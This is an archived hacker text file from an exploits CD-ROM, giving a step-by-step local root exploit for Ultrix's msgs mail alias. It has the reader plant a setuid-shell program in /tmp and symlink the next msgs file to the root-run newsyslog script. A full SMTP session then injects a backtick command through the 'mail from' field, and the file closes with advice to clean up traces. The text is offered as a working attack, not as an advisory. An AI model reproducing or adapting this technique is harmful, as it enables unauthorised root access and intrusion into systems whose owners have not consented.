home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / ultrix / ult-msgs.asc < prev   
Encoding:
Text File  |  1997-03-11  |  1.5 KB  |  45 lines

  1.  
  2.  
  3.  
  4.  
  5. DO NOT DISTRIBUTE THIS F***ING BUG.  It works on Ultrix, and is one of the
  6.  
  7. few Ultrix bugs I have seen that still works.  It might work on other
  8.  
  9. platforms too.
  10.  
  11.  
  12.  
  13. This bug has been fixed in OSF, but not in Ultrix.
  14.  
  15. It should also work on any system that has the msgs mail alias.
  16.  
  17.  
  18.  
  19. $ grep msgs /etc/aliases
  20.  
  21. msgs: "|/usr/ucb/msgs -s"
  22.  
  23.  
  24.  
  25. Ok, the first thing to do is look in the /usr/msgs directory (or whatever
  26.  
  27. the directory is where the msgs files are kept), and see what the next msgs
  28.  
  29. file will be (if there is 1 and 2, then the next one is pretty easy to figure
  30.  
  31. out).
  32.  
  33.  
  34.  
  35. Then, make an executable /tmp/a that like makes an suid shell (this is pretty
  36.  
  37. easy to do, if you can't do it, don't consider yourself a hacker).
  38.  
  39.  
  40.  
  41. By default, newsyslog executes every 6 days at 4 am, but it depends on the
  42.  
  43. setup in crontab.  What it does is age the syslog file (at /usr/adm/syslog.1,
  44.  
  45. .2, ..., i think).
  46.  
  47.  
  48.  
  49. symlink /usr/msgs/<nextmsg> -> /usr/adm/newsyslog
  50.  
  51.  
  52.  
  53. $ telnet
  54.  
  55. telnet> o localhost 25
  56.  
  57. mail shit, version, etc
  58.  
  59. expn msgs
  60.  
  61. 250 <"| /usr/ucb/msgs -s">
  62.  
  63. mail from: <`/tmp/a`>
  64.  
  65. rcpt to: msgs
  66.  
  67. data
  68.  
  69. doesn't matter what you put here
  70.  
  71.  .
  72.  
  73.  quit
  74.  
  75.  
  76.  
  77.  So now, when it writes to /usr/msgs/<nextmsg>, it will overwrite
  78.  
  79.  /usr/adm/newsyslog, and since /usr/adm/newsyslog is a shell script, it will
  80.  
  81.  expand `/tmp/a` by executing /tmp/a AS ROOT, giving you an suid shell or
  82.  
  83.  whatever /tmp/a does.
  84.  
  85.  
  86.  
  87.  From there, just clean up after yourself.
  88.  
  89.